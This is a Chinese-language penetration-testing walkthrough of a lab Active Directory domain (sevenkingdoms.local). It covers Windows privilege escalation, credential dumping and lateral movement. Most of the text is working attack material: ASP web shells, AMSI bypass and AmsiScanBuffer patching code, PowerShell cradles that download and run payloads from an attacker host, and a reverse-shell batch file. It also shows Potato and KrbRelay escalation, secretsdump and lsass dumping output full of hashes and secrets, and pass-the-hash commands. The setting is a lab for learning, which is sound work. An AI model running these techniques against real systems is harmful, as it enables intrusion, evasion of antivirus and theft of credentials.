因为先知的长度限制,拆成了多个文章
获得webshell 然后尝试一些权限提升技巧
<% Function getResult(theParam) Dim objSh, objResult Set objSh = CreateObject("WScript.Shell") Set objResult = objSh.exec(theParam) getResult = objResult.StdOut.ReadAll end Function %> <HTML> <BODY> Enter command: <FORM action="" method="POST"> <input type="text" name="param" size=45 value="<%= myValue %>"> <input type="submit" value="Run"> </FORM> <p> Result : <% myValue = request("param") thisDir = getResult("cmd /c" & myValue) Response.Write(thisDir) %> </p> <br> </BODY> </HTML>
<%Function xxxx(str) eval str End Function%><%D = request("ant")%><%xxxx D%>
为了进行所有测试,我在所有系统上启用了 Windows Defender。 Castelblack(192.168.56.22) 默认禁用Defender,您应该在测试此处描述的 privesc 技术之前启用它
但我试着好像已经开了?
# Matt Graebers second Reflection method [Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141)
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
# Patching amsi.dll AmsiScanBuffer by rasta-mouse $Win32 = @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ Add-Type $Win32 $LoadLibrary = [Win32]::LoadLibrary("amsi.dll") $Address = [Win32]::GetProcAddress($LoadLibrary, "AmsiScanBuffer") $p = 0 [Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p) $Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) [System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
python3 -m http.server 8081
(new-object system.net.webclient).downloadstring('http://192.168.56.1:8081/amsi_rmouse.txt')|IEX
直接在蚁剑里执行,会遇到引号的报错,先弹shell出来
依次执行这两条命令
PEASS-ng/winPEAS at master · carlospolop/PEASS-ng
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe
python3 -m http.server 8081
$data=(New-Object System.Net.WebClient).DownloadData('http://192.168.56.1:8081/winPEASany_ofs.exe'); $asm = [System.Reflection.Assembly]::Load([byte[]]$data); $out = [Console]::Out;$sWriter = New-Object IO.StringWriter;[Console]::SetOut($sWriter); [winPEAS.Program]::Main("");[Console]::SetOut($out);$sWriter.ToString()
[winPEAS.Program]::Main("")
)iex(new-object net.webclient).downloadstring('http://192.168.56.1:8080/PowerSharpPack/PowerSharpPack.ps1') PowerSharpPack -winPEAS
返回了一大堆
. .\EncodeAssembly.ps1 Invoke-EncodeAssembly -binaryPath winPEAS.exe -namespace winPEAS -capture $true
这样自己打包的话 替换上一步中的exe文件即可 我们就不尝试了
https://github.com/CCob/SweetPotato
这里我没有visual studio环境 所以使用的Github Actions在线编译 我的配置如下
name: .NET Core Desktop on: push: branches: [ "master" ] pull_request: branches: [ "master" ] jobs: build: strategy: matrix: configuration: [Release] runs-on: windows-2019 # For a list of available runner types, refer to https://help.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on # 貌似.net framework(不是core)需要windows-2019 env: Solution_Name: SweetPotato # Replace with your solution name, i.e. MyWpfApp.sln. steps: - name: Checkout uses: actions/checkout@v3 with: fetch-depth: 0 # Install the .NET Core workload - name: Install .NET Core uses: actions/setup-dotnet@v3 with: dotnet-version: 6.0.x # Add MSBuild to the PATH: https://github.com/microsoft/setup-msbuild - name: Setup MSBuild.exe uses: microsoft/setup-msbuild@v1.0.2 # Nuget - name: Setup NuGet uses: NuGet/setup-nuget@v1.1.1 - name: Restore NuGet Packages run: nuget restore ${{ github.workspace }}\SweetPotato.sln # Restore the application to populate the obj folder with RuntimeIdentifiers - name: Restore the application run: msbuild ${{ github.workspace }}\SweetPotato.csproj env: Configuration: ${{ matrix.configuration }} # Upload the MSIX package: https://github.com/marketplace/actions/upload-a-build-artifact - name: Upload build artifacts uses: actions/upload-artifact@v3 with: name: SweetPotato path: bin\Release\ # Some Refs: # https://developercommunity.visualstudio.com/t/windows-2019-agents-wont-build-projects-built-by-w/1692735 # https://timheuer.com/blog/building-net-framework-apps-using-github-actions/ # https://github.com/actions/runner-images/tree/main/images/win # https://learn.microsoft.com/zh-cn/nuget/consume-packages/package-restore
echo "@echo off" > runme.bat echo "start /b $(python3 payload.py 192.168.56.1 4445)" >> runme.bat echo "exit /b" >> runme.bat python3 -m http.server 8080
mkdir c:\temp cd c:\temp (New-Object System.Net.WebClient).DownloadFile('http://192.168.56.1:8080/runme.bat','c:\temp\runme.bat') $data=(New-Object System.Net.WebClient).DownloadData('http://192.168.56.1:8080/SweetPotato.exe'); $asm = [System.Reflection.Assembly]::Load([byte[]]$data); $out = [Console]::Out;$sWriter = New-Object IO.StringWriter;[Console]::SetOut($sWriter); [SweetPotato.Program]::Main(@('-p=C:\temp\runme.bat'));[Console]::SetOut($out);$sWriter.ToString()
这里我没成功
如果成功的话应该是这个效果
https://github.com/S3cur3Th1sSh1t/PowerSharpPack
代码前两步已经执行过了 只需要执行后两步
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344) iex(new-object system.net.webclient).downloadstring('http://192.168.56.1:8080/amsi_rmouse.txt') iex(new-object net.webclient).downloadstring('http://192.168.56.1:8080/PowerSharpPack/PowerSharpBinaries/Invoke-BadPotato.ps1') Invoke-BadPotato -Command "c:\temp\runme.bat"
这次成功了
前边我们通过Potato尝试了printspoofer 这里接着试一下krbrelay
https://github.com/cube0x0/KrbRelay
cme ldap 192.168.56.10-12 -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M ldap-signing
cme ldap 192.168.56.11 -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M MAQ
addcomputer.py -computer-name 'krbrelay$' -computer-pass 'ComputerPassword' -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH 'north.sevenkingdoms.local/jon.snow:iknownothing'
直接上RDP打开powershell 连接56.22(CASTELBLACK)
PS C:\Users\jon.snow\Desktop> $o = ([ADSI]"LDAP://CN=krbrelay,CN=Computers,DC=north,DC=sevenkingdoms,DC=local").objectSID PS C:\Users\jon.snow\Desktop> (New-Object System.Security.Principal.SecurityIdentifier($o.value, 0)).Value S-1-5-21-3279614554-4259096442-670903954-1122
CheckPort.exe和KrbRelay都需要编译刚才提到的仓库 https://github.com/cube0x0/KrbRelay
这里参考https://mp.weixin.qq.com/s/D18-N4sE8m-nAejMLlP9kA使用github actions在线构建
我的workflow file如下
name: .NET Core Desktop on: push: branches: [ "main" ] pull_request: branches: [ "main" ] jobs: build: strategy: matrix: configuration: [Release] runs-on: windows-latest # For a list of available runner types, refer to # https://help.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on env: Solution_Name: KrbRelay.sln # Replace with your solution name, i.e. MyWpfApp.sln. steps: - name: Checkout uses: actions/[email protected] with: fetch-depth: 0 # Install the .NET Core workload - name: Install .NET Core uses: actions/[email protected] with: dotnet-version: 6.0.x # Add MSBuild to the PATH: https://github.com/microsoft/setup-msbuild - name: Setup MSBuild.exe uses: microsoft/[email protected] # Restore the application to populate the obj folder with RuntimeIdentifiers - name: Restore the application # run: msbuild $env:Solution_Name /t:Restore /p:Configuration=$env:Configuration run: | msbuild ${{ github.workspace }}\KrbRelay\KrbRelay.csproj msbuild ${{ github.workspace }}\CheckPort\CheckPort.csproj env: Configuration: ${{ matrix.configuration }} # Copy CheckPort.exe to Release Path - name: Copy CheckPort to Release Path run: copy CheckPort\bin\Release\CheckPort.exe KrbRelay\bin\Release\ # Upload the artifact - name: Upload Artifact uses: actions/[email protected] with: name: KrbRelay path: KrbRelay\bin\Release\
PS C:\Users\jon.snow\Desktop> .\CheckPort.exe [*] Looking for available ports.. [*] SYSTEM Is allowed through port 443
PS C:\Users\jon.snow\Desktop> .\KrbRelay.exe -spn ldap/winterfell.north.sevenkingdoms.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-3279614554-4259096442-670903954-1122 -port 443
getTGT.py -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'krbrelay$':'ComputerPassword' export KRB5CCNAME=krbrelay\$.ccache getST.py -impersonate 'administrator' -spn 'CIFS/castelblack.north.sevenkingdoms.local' -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'krbrelay$' export KRB5CCNAME=[email protected][email protected].ccache wmiexec.py -k @castelblack.north.sevenkingdoms.local C:\>whoami north\administrator
遇到报错了 没成功
正常下应该是
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344) iex(new-object system.net.webclient).downloadstring('http://192.168.56.1:8080/amsi_rmouse.txt') iex(new-object net.webclient).downloadstring('http://192.168.56.1:8080/PowerSharpPack/PowerSharpPack.ps1') PowerSharpPack -rubeus -Command "hash /password:ComputerPassword" PowerSharpPack -rubeus -Command "s4u /user:krbrelay$ /rc4:0EDDEDC35EB7B7ECDE0C9F0564E54C83 /impersonateuser:administrator /msdsspn:host/castelblack /ptt"
也报错了
后续的步骤应该是执行https://gist.github.com/tyranid/c24cfd1bd141d14d4925043ee7e03c82获得system shell
.\KrbRelayUp.exe relay -Domain north.sevenkingdoms.local -CreateNewComputerAccount -ComputerName evilhost2$ -ComputerPassword pass@123 ./KrbRelayUp.exe spawn -m rbcd -d north.sevenkingdoms.local -dc winterfell.north.sevenkingdoms.local -cn evilhost2$ -cp pass@123
横向移动
补充点背景知识
本地凭证: 读取SAM/SYSTEM 或者读取lsass进程
域凭证: 保存在DC的ntds.dit中 被操作系统锁定 可以通过卷影拷贝服务提取 然后导出用户名和散列值 (还需要同时导出hklm\system 因为其存储着ntds.dit的秘钥
python secretsdump.py NORTH/jeor.mormont:'[email protected]_'@192.168.56.22 Impacket v0.10.1.dev1+20230120.195338.34229464 - Copyright 2022 Fortra [*] Service RemoteRegistry is in stopped state [*] Starting service RemoteRegistry [*] Target system bootKey: 0x4fde81b1c080d0828c99ec33703ae64f [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:0e181c6215bdbfd5b93917da349fc7cd::: vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b::: [*] Dumping cached domain logon information (domain/username:hash) NORTH.SEVENKINGDOMS.LOCAL/sql_svc:$DCC2$10240#sql_svc#89e701ebbd305e4f5380c5150494584a NORTH.SEVENKINGDOMS.LOCAL/jon.snow:$DCC2$10240#jon.snow#82fdcc982f02b389a002732efaca9dc5 [*] Dumping LSA Secrets [*] $MACHINE.ACC NORTH\CASTELBLACK$:aes256-cts-hmac-sha1-96:165a881cd7a2f8d368df471bbf5041e96bf4331822fb04da628c432577ba1573 NORTH\CASTELBLACK$:aes128-cts-hmac-sha1-96:d0cb11ee43a59092cd76c68ae5ba2378 NORTH\CASTELBLACK$:des-cbc-md5:bcb510da94c42f15 NORTH\CASTELBLACK$:plain_password_hex:64003c002c00610063006100420042006900590021003d003b0054004e0047003e00770067006200360044004000700034003800430047004b0045006400490064005a006f0034003c003e003c005000540062003a0051004200410021002b00230065002b0025006c00710029003a002000250061002e00230045003e0041007000330079004e007300460050004f0064004a003100720072004a0060005b002d00760055006c006e004f002a003700360027004f0022005c003600710070003f00500076003100350078002b0062003100740039004d004b006a0037003a00320064004a00400028006b003e005b00 NORTH\CASTELBLACK$:aad3b435b51404eeaad3b435b51404ee:6c5eef6f48e1bb7e2d7987bd63a73443::: [*] DPAPI_SYSTEM dpapi_machinekey:0x67763aa6143db75326b8acdad34c938aabc11e64 dpapi_userkey:0x79f0081cb99215e8236f3383454a23ff3b321b6b [*] NL$KM 0000 39 FB 46 D8 43 B6 EC E6 DE D7 CE 1C 50 2D AE B4 9.F.C.......P-.. 0010 4F 71 E1 25 BF 5E FB 14 86 14 D6 A3 0F 93 DE 42 Oq.%.^.........B 0020 06 48 F4 35 B1 45 83 7E 1A 98 29 D6 45 19 14 D2 .H.5.E.~..).E... 0030 C4 66 57 03 2B C5 04 01 AE 33 49 CD D2 E0 92 CE .fW.+....3I..... NL$KM:39fb46d843b6ece6ded7ce1c502daeb44f71e125bf5efb148614d6a30f93de420648f435b145837e1a9829d6451914d2c46657032bc50401ae3349cdd2e092ce [*] _SC_MSSQL$SQLEXPRESS north.sevenkingdoms.local\sql_svc:YouWillNotKerboroast1ngMeeeeee [*] Cleaning up... [*] Stopping service RemoteRegistry
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:0e181c6215bdbfd5b93917da349fc7cd::: vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
smbserver.py -smb2support share . # start a server to get the result reg.py NORTH/jeor.mormont:'[email protected]_'@192.168.56.22 save -keyName 'HKLM\SAM' -o '\\192.168.56.1\share' reg.py NORTH/jeor.mormont:'[email protected]_'@192.168.56.22 save -keyName 'HKLM\SYSTEM' -o '\\192.168.56.1\share'
reg save HKLM\SAM c:\sam reg save HKLM\SYSTEM c:\system
使用 SAM 和 SYSTEM,我们得到存储在 sam 数据库中的 LM 和 NT 哈希值。SAM 数据库包含所有本地帐户。
- secretsdump 有一个命令来解密包含我们下载的文件的 sam 得到的结果跟直接使用用户名密码获取的一样
secretsdump -sam SAM.save -system SYSTEM.save LOCAL
<Username>:<User ID>:<LM hash>:<NT hash>:<Comment>:<Home Dir>:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4::: user: Administrator RID : 500 LM hash : aad3b435b51404eeaad3b435b51404ee (this hash value means empty) NT hash : dbd13e1c4e338284ac4e9874f7de6ef4 (this is the important result here)
cme smb 192.168.56.10-23 -u Administrator -H 'dbd13e1c4e338284ac4e9874f7de6ef4' --local-auth
我们之前是从192.168.56.22获取的本地管理员密码 但这台机器并不是域控 那么56.22的管理员密码不应该跟域控的密码相同吧?
cme smb 192.168.56.10-23 -u Administrator -H 'dbd13e1c4e338284ac4e9874f7de6ef4'
图里结果可见,在域内成功登录了
LM/NT/NTLM/NetNTLMv1/NetNTLMv2的区别?
- LM : old format turned off by default starting in Windows Vista/Server 2008
- NT (a.k.a NTLM) : location SAM & NTDS : This one is use for pass the hash (i still often use the generic term ntlm to call this, sry) 这个用于传递哈希(我仍然经常使用通用术语 ntlm 来称呼它)
- NTLMv1 (a.k.a NetNTLMv1) : Used in challenge/response between client and server -> can be cracked or used to relay NTLM 用于客户端和服务器之间的质询/响应 -> 可被破解或用于中继 NTLM
- NTLMv2 (a.k.a NetNTLMv2) : Same as NetNTLMv1 but improved and harder to crack -> can be cracked or used to relay NTLM 与 NetNTLMv1 相同,但改进且更难破解 -> 可被破解或用于中继 NTLM
reg.py NORTH/jeor.mormont:'[email protected]_'@192.168.56.22 save -keyName 'HKLM\SYSTEM' -o '\\192.168.56.1\share' reg.py NORTH/jeor.mormont:'[email protected]_'@192.168.56.22 save -keyName 'HKLM\SECURITY' -o '\\192.168.56.1\share' secretsdump -security SECURITY.save -system SYSTEM.save LOCAL
结果是一样的:
NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:6c5eef6f48e1bb7e2d7987bd63a73443
[*] _SC_MSSQL$SQLEXPRESS (Unknown User):YouWillNotKerboroast1ngMeeeeee
https://github.com/outflanknl/Dumpert
这里仍然使用Github Actions来编译
name: .NET Core Desktop on: push: branches: [ "master" ] pull_request: branches: [ "master" ] jobs: build: strategy: matrix: configuration: [Release] runs-on: windows-2019 # 用windows2019解决了“please install Visual Studio 2015 build tools”的问题,如果还不行,可以看下https://github.com/actions/runner-images/issues/387 env: Solution_Name: Dumpert.sln # Replace with your solution name, i.e. MyWpfApp.sln. steps: - name: Checkout uses: actions/[email protected] with: fetch-depth: 0 # Install the .NET Core workload - name: Install .NET Core uses: actions/[email protected] with: dotnet-version: 6.0.x # Add MSBuild to the PATH: https://github.com/microsoft/setup-msbuild - name: Setup MSBuild.exe uses: microsoft/[email protected] # Windows 8.1 SDK 参考 https://cloud.tencent.com/developer/article/1739319 - name: Install Windows 8.1 SDK shell: powershell run: | Invoke-WebRequest -Method Get -Uri https://go.microsoft.com/fwlink/p/?LinkId=323507 -OutFile sdksetup.exe -UseBasicParsing Start-Process -Wait sdksetup.exe -ArgumentList "/q", "/norestart", "/features", "OptionId.WindowsDesktopSoftwareDevelopmentKit", "OptionId.NetFxSoftwareDevelopmentKit" # Restore the application to populate the obj folder with RuntimeIdentifiers - name: Restore the application # run: msbuild $env:Solution_Name /t:Restore /p:Configuration=$env:Configuration run: | msbuild ${{ github.workspace }}\Dumpert\Outflank-Dumpert.sln msbuild ${{ github.workspace }}\Dumpert-DLL\Outflank-Dumpert-DLL.sln env: Configuration: ${{ matrix.configuration }} # Upload the artifact - name: Upload Artifact uses: actions/[email protected] with: name: DumpertAll path: ${{ github.workspace }}
lsassy -d north.sevenkingdoms.local -u jeor.mormont -p [email protected]_ 192.168.56.22 -m dumpertdll -O dumpertdll_path=Outflank-Dumpert-DLL.dll
下载源代码然后pip install . 如果pip install lsassy的话不是最新版本
lsassy -d north.sevenkingdoms.local -u jeor.mormont -p [email protected]_ 192.168.56.22 -m dumpertdll -O dumpertdll_path=Outflank-Dumpert-DLL.dll [+] 192.168.56.22 Authentication successful [+] 192.168.56.22 dumpertdll uploaded [+] 192.168.56.22 Lsass dumped in C:\Windows\Temp\dumpert.dmp (48088063 Bytes) [+] 192.168.56.22 Lsass dump deleted [+] 192.168.56.22 NORTH\sql_svc [NT] 84a5092f53390ea48d660be52b93b804 | [SHA1] 9fd961155e28b1c6f9b3859f32f4779ad6a06404 [+] 192.168.56.22 NORTH\CASTELBLACK$ [NT] 6c5eef6f48e1bb7e2d7987bd63a73443 | [SHA1] 117681bd5e8d818522cea15c50889c3466081272 [+] 192.168.56.22 north.sevenkingdoms.local\CASTELBLACK$ [PWD] d<,acaBBiY!=;TNG>[email protected]<><PTb:QBA!+#e+%lq): %a.#E>Ap3yNsFPOdJ1rrJ`[-vUlnO*76'O"\6qp?Pv15x+b1t9MKj7:[email protected](k>[ [+] 192.168.56.22 NORTH.SEVENKINGDOMS.LOCAL\sql_svc [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2023-01-29 16:36 (TGT_NORTH.SEVENKINGDOMS.LOCAL_sql_svc_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_1f2e45d4.kirbi) [+] 192.168.56.22 NORTH.SEVENKINGDOMS.LOCAL\CASTELBLACK$ [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2023-01-29 16:36 (TGT_NORTH.SEVENKINGDOMS.LOCAL_CASTELBLACK$_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_efb7107c.kirbi) [+] 192.168.56.22 NORTH.SEVENKINGDOMS.LOCAL\CASTELBLACK$ [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2023-01-29 16:36 (TGT_NORTH.SEVENKINGDOMS.LOCAL_CASTELBLACK$_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_04c79531.kirbi) [+] 192.168.56.22 NORTH.SEVENKINGDOMS.LOCAL\CASTELBLACK$ [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2023-01-29 16:36 (TGT_NORTH.SEVENKINGDOMS.LOCAL_CASTELBLACK$_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_2d17099b.kirbi) [+] 192.168.56.22 NORTH.SEVENKINGDOMS.LOCAL\CASTELBLACK$ [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2023-01-29 16:36 (TGT_NORTH.SEVENKINGDOMS.LOCAL_CASTELBLACK$_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_abfec7fa.kirbi) [+] 192.168.56.22 14 Kerberos tickets written to /home/qu/.config/lsassy/tickets [+] 192.168.56.22 4 masterkeys saved to /home/qu/.config/lsassy/masterkeys.tx
xfreerdp /d:north.sevenkingdoms.local /u:catelyn.stark /p:robbsansabradonaryarickon /v:castelblack.north.sevenkingdoms.local /cert-ignore
lsassy -d north.sevenkingdoms.local -u jeor.mormont -p [email protected]_ 192.168.56.22 -m dumpertdll -O dumpertdll_path=Outflank-Dumpert-DLL.dll [+] 192.168.56.22 Authentication successful [+] 192.168.56.22 dumpertdll uploaded [+] 192.168.56.22 Lsass dumped in C:\Windows\Temp\dumpert.dmp (48505647 Bytes) [+] 192.168.56.22 Lsass dump deleted [+] 192.168.56.22 NORTH\catelyn.stark [NT] cba36eccfd9d949c73bc73715364aff5 | [SHA1] be37d26374175f082b2c536d3114bafb2ad0e4fc [+] 192.168.56.22 NORTH\CASTELBLACK$ [NT] 6c5eef6f48e1bb7e2d7987bd63a73443 | [SHA1] 117681bd5e8d818522cea15c50889c3466081272 [+] 192.168.56.22 north.sevenkingdoms.local\CASTELBLACK$ [PWD] d<,acaBBiY!=;TNG>[email protected]<><PTb:QBA!+#e+%lq): %a.#E>Ap3yNsFPOdJ1rrJ`[-vUlnO*76'O"\6qp?Pv15x+b1t9MKj7:[email protected](k>[ [+] 192.168.56.22 NORTH\sql_svc [NT] 84a5092f53390ea48d660be52b93b804 | [SHA1] 9fd961155e28b1c6f9b3859f32f4779ad6a06404 [+] 192.168.56.22 NORTH.SEVENKINGDOMS.LOCAL\catelyn.stark [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2023-01-29 19:25 (TGT_NORTH.SEVENKINGDOMS.LOCAL_catelyn.stark_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_bebfb384.kirbi) [+] 192.168.56.22 NORTH.SEVENKINGDOMS.LOCAL\catelyn.stark [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2023-01-29 19:25 (TGT_NORTH.SEVENKINGDOMS.LOCAL_catelyn.stark_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_7c3dd340.kirbi) [+] 192.168.56.22 NORTH.SEVENKINGDOMS.LOCAL\sql_svc [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2023-01-29 16:36 (TGT_NORTH.SEVENKINGDOMS.LOCAL_sql_svc_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_1f2e45d4.kirbi) [+] 192.168.56.22 NORTH.SEVENKINGDOMS.LOCAL\CASTELBLACK$ [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2023-01-29 16:36 (TGT_NORTH.SEVENKINGDOMS.LOCAL_CASTELBLACK$_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_efb7107c.kirbi) [+] 192.168.56.22 NORTH.SEVENKINGDOMS.LOCAL\CASTELBLACK$ [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2023-01-29 16:36 (TGT_NORTH.SEVENKINGDOMS.LOCAL_CASTELBLACK$_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_04c79531.kirbi) [+] 192.168.56.22 NORTH.SEVENKINGDOMS.LOCAL\CASTELBLACK$ [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2023-01-29 16:36 (TGT_NORTH.SEVENKINGDOMS.LOCAL_CASTELBLACK$_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_2d17099b.kirbi) [+] 192.168.56.22 NORTH.SEVENKINGDOMS.LOCAL\CASTELBLACK$ [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2023-01-29 16:36 (TGT_NORTH.SEVENKINGDOMS.LOCAL_CASTELBLACK$_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_abfec7fa.kirbi) [+] 192.168.56.22 20 Kerberos tickets written to /home/qu/.config/lsassy/tickets [+] 192.168.56.22 6 masterkeys saved to /home/qu/.config/lsassy/masterkeys.txt
可以对应上
PsExec:
但是我没找到可用的Psexec项目 https://github.com/zesiar0/MyPsExec 不太行
下面是WP中的图
WmiExec (伪终端):
SmbExec (伪终端):
但我没成功
AtExec (执行命令):
DecomExec (Distributed Component Object Model):
估计是防火墙的原因?
cme smb 192.168.56.11 -H ':cba36eccfd9d949c73bc73715364aff5' -d 'north' -u 'catelyn.stark' -x whoami
evil-winrm -i 192.168.56.11 -u catelyn.stark -H 'cba36eccfd9d949c73bc73715364aff5'
我这又没成功
如果想基于RDP进行PTH(也就是不提供密码 而是使用hash)
xfreerdp /u:catelyn.stark /d:north.sevenkingdoms.local /pth:cba36eccfd9d949c73bc73715364aff5 /v:192.168.56.11
会得到如下错误
因此必须开启Enable restricted admin才能允许rdp连接不提供密码
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0
reg.py NORTH/[email protected] -hashes ':cba36eccfd9d949c73bc73715364aff5' query -keyName 'HKLM\System\CurrentControlSet\Control\Lsa'
reg.py NORTH/[email protected] -hashes ':cba36eccfd9d949c73bc73715364aff5' add -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v 'DisableRestrictedAdmin' -vt 'REG_DWORD' -vd '0'
xfreerdp /u:catelyn.stark /d:north.sevenkingdoms.local /pth:cba36eccfd9d949c73bc73715364aff5 /v:192.168.56.11
reg.py NORTH/[email protected] -hashes ':cba36eccfd9d949c73bc73715364aff5' delete -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v 'DisableRestrictedAdmin'
先使用NTLM hash获取到TGT 然后通过wmiexec等方式进行连接
getTGT.py -hashes ':cba36eccfd9d949c73bc73715364aff5' north.sevenkingdoms.local/catelyn.stark export KRB5CCNAME=catelyn.stark.ccache wmiexec.py -k -no-pass north.sevenkingdoms.local/[email protected]
lsassy -d north.sevenkingdoms.local -u jeor.mormont -p [email protected]_ 192.168.56.22 -m dumpertdll -O dumpertdll_path=Outflank-Dumpert-DLL.dll ticketConverter.py kirbi_ticket.kirbi ccache_ticket.ccache export KRB5CCNAME=ccache_ticket.ccache klist wmiexec.py -k -no-pass north.sevenkingdoms.local/[email protected]
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。
简言之:当A访问服务B时,服务B拿着A用户的凭证去访问服务C,这个过程称为委派。
一些关于委派的资料:
在域内有三种类型的委派:
MATCH (c {unconstraineddelegation:true}) return c
默认情况下,在 Windows 活动目录上,所有域控制器都设置为非约束委派
如果要搜索非约束委派(域控制器外):
MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-516' WITH COLLECT(c1.name) AS domainControllers MATCH (c2 {unconstraineddelegation:true}) WHERE NOT c2.name IN domainControllers RETURN c2
https://github.com/GhostPack/Rubeus
xfreerdp /d:north.sevenkingdoms.local /u:eddard.stark /p:'FightP3aceAndHonor!' /v:192.168.56.11 /cert-ignore
在上一步中,我们已经拥有了 north 域,假设我们获得了 eddard 密码。当你在 Winterfell 上运行 donPapi 时,Eddard 的密码以明文形式出现,因为这个用户有一个计划任务。
一个用 linux 检索 windows 秘密的工具 donPAPI,它用于获取 dpapi 和其他密码存储信息(文件、浏览器、计划任务等)。 这个工具不接触 LSASS,所以它更隐蔽,即使在目标上启用了 av 和 edr,它也能在大部分时间工作。
- 我们将绕过 AMSI 并在内存中启动 Rubeus(就像在第 8 部分中一样)
当然,我们可以在服务器上停止防御者反病毒,但在真正的渗透测试中,你不想在你的客户服务器上这样做。
name: .NET Core Desktop on: push: branches: [ "master" ] pull_request: branches: [ "master" ] jobs: build: strategy: matrix: configuration: [Release] runs-on: windows-2019 env: Solution_Name: Rubeus.sln # Replace with your solution name, i.e. MyWpfApp.sln. steps: - name: Checkout uses: actions/[email protected] with: fetch-depth: 0 # Install the .NET Core workload - name: Install .NET Core uses: actions/[email protected] with: dotnet-version: 6.0.x # Add MSBuild to the PATH: https://github.com/microsoft/setup-msbuild - name: Setup MSBuild.exe uses: microsoft/[email protected] # Restore the application to populate the obj folder with RuntimeIdentifiers - name: Restore the application # run: msbuild $env:Solution_Name /t:Restore /p:Configuration=$env:Configuration run: | msbuild ${{ github.workspace }}\Rubeus.sln env: Configuration: ${{ matrix.configuration }} # Upload the artifact - name: Upload Artifact uses: actions/[email protected] with: name: Rubeus path: 